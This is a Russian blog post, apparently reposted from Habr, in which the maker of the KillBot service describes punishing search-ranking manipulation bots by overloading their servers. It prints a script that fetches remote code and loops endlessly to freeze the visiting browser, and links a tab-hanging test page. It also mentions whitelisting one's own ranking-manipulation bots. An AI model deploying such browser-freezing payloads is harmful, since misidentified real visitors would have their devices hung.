Защита сайта от накрутки ПФ: превращаем ботов в тормоза для их серверов

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Накрутка поведенческих факторов (ПФ) — это распространённая проблема, с которой сталкиваются владельцы сайтов. Боты имитируют поведение пользователей, чтобы повысить или понизить позиции сайтов в поисковой выдаче. В этой статье я расскажу, как защитить сайт от накрутки, перегрузив сервер бота.

Я Григорий Мельников, создатель сервиса защиты сайта KillBot, расскажу как сделать так, чтобы бот обходил твой сайт стороной.

Идея блокировки бота

Как я неоднократно писал ранее, боты — это не разрозненные программы. Бот — это программное обеспечение, которое работает на одном сервере и имитирует сотни ботовских сессий.

Если бот зайдет на проблемный сайт - то сессия посещения сайта превратится в мертвый, ресурсозатратный процесс. Администратору ботовской программы будет проще исключить проблемный сайт из своего софта.

Однако нужно подождать, пока администратор обнаружит, что сервер работает некорректно. Это может занять до недели, так как ботовский софт обычно работает стабильно и не требует ежедневного контроля. Также потребуется квалификация администратора, чтобы он смог определить, что проблема связана именно с вашим сайтом.

Как в бот-софте прописываются сайты для накрутки?

В ботовском софте сайты для посещения и накрутки обычно задаются вручную. Там же существует список исключений — игнор-лист, куда добавляют сайты, на которые кликать нельзя. Вот пример настроек:

Поэтому, администратору софта исключить глючный сайт из цепи не составит труда.

Кто генерирует ботов и каким софтом?

Можно прочитать в моей другой статье: https://habr.com/ru/articles/813545/

Пример блокировки бота на практике

На графике ниже видно резкое падение числа заходов бота после того, как его сервер начал испытывать нагрузку.

Этот эффект был достигнут за счёт перегрузки сервера бота, что сделало его дальнейшую работу нецелесообразной.

  • 6 ноября: Включено зацикливание для основного бота. В результате трафик ботов упал в два раза — серверу стало сложнее обрабатывать заходы.

  • 12 ноября: Второй скачок падения трафика. Вероятно, сайт был исключён из накрутки.

Не все боты били исключены, так как зацикливание было применено только для самого популярного бота.

Важно! ваш сайт — не единственный, который "крутит" бот. Если бы он был один, сервер бы полностью встал. Однако, отдельные нагруженные процессы будут копиться и тормозить сервер. Подвисшие процессы обычно завершаются по таймауту, если бот написан грамотно. Пока процесс не завершён, на него расходуются процессорное время и оперативная память.

Как реализована перегрузка бота в KillBot?

Чтобы включить зацикливание бота, нужно:

  1. Найти слепок бота в интерфейсе KillBot.

  2. Слева в меню действий выбрать "Зациклить".

Для проверки можно нажать на ссылку "Тест". В этом случае сайт ответит так, будто заход выполнен ботом с нужным слепком, и запустит процесс зацикливания.

Внимание! Зацикливание НЕ коснётся реальных пользователей. Зависнут только сессии бота.

Как работает скрипт зацикливания?

Скрипт использует HTML5 Canvas для создания нагрузки на процессор и оперативную память, что вызывает зависание браузера и делает дальнейшую работу бота невозможной.

    <script>
        
        function kbLoadScript(src) {
            return new Promise((resolve, reject) => {
                const script = document.createElement('script');
                script.src = src;
                script.onload = resolve;
                script.onerror = reject;
                document.head.appendChild(script);
            });
        }

        async function init() {
            try {
                await kbLoadScript('https://data.killbot.ru/mu.js');                
                if (typeof Module !== 'undefined' && Module.onRuntimeInitialized) {
                    if (!Module.onRuntimeInitializedCalled) {
                        Module.onRuntimeInitializedCalled = true;
                        Module.onRuntimeInitialized = () => {                            
                            Module.ccall('main');
                        };
                    }
                } else {
                    console.warn("Module not found or onRuntimeInitialized is missing.");
                    return false;
                }
            } catch (error) {
                console.error(error);
                return false;
            }
            return true;
        }
        
        function delay(ms) {
            return new Promise(resolve => setTimeout(resolve, ms));
        }

        document.addEventListener("DOMContentLoaded", async () => {
            await delay(2000);
            while(true){
                ret = init();   
                if (ret==false) break;
            }
        });
    </script>

Как протестировать скрипт?
Осознанно скопируйте ссылку для зависания вкладки: https://data.killbot.ru/cpu.html - и вставьте в поле браузера.
Вкладка зависнет, можно так же посмотреть на потребление ОЗУ и процессора. Далее закройте вкладку.

В KillBot также есть альтернативный вариант для устройств с отключённой поддержкой Canvas — скрипт на нативном JavaScript, который создаёт высокую нагрузку на процессор и память.

Как отбелить бота, если вы сами крутите ПФ?

Для этого можно нажать на ссылку "Изменить на пользователя". Все визиты этого бота будут расцениваться как визиты настоящих пользователей.

Работают ли поведенческие факторы сейчас?

Да, работают. Можете обзвонить SEO-студии и напрямую спросить, занимаются ли они накруткой. Зачастую они не признаются, но если предлагают тест с демонстрацией роста позиций, это значит что они используют ПФ.

Как выявить прокси и VPN-заходы?

В следующем посте я расскажу о методах обнаружения прокси и VPN, которые не загуглить. Визиты сайта через прокси или VPN будут помечены в метрике. Этот пост я выложу в своём Telegram-канале: https://t.me/KillBotRus, поэтому подпишитесь на него, чтобы не пропустить этот интересный материал.

А в моем предпоследнем посте я рассказываю про защиту сайта через DNS-прокси и методы выявления фейковых поисковых ботов.

Источник: https://habr.com/ru/articles/861448/


Интересные статьи

Интересные статьи

Сегодня мы поговорим о том, как highload-блоки в Битрикс24 могут помочь справиться с большими объемами данных и обеспечить стабильную работу систем при высоких нагрузках. Highload-блоки в Битрикс24 — ...
Ранее мы писали про шквал фейковых комментариев, повлиявших на решение Федеральной комиссии по связи США (FCC) отменить сетевой нейтралитет в стране. Недавно история получила продолжение, а кризис рег...
Люди часто жалуются, что их работа не имеет особого смысла и не приносит большой пользы. Мол, её можно вообще не делать — и практически ничего не изменится. Никому не станет хуже. Но мало кто н...
Субботний вечер омрачен скандалом - сайт не работает, провайдер негодяй, админы - не специалисты, а сервера - решето. Вызов принят, или почему при всей нелюбви к 1С-Битри...
Кто бы что ни говорил, но я считаю, что изобретение велосипедов — штука полезная. Использование готовых библиотек и фреймворков, конечно, хорошо, но порой стоит их отложить и создать ...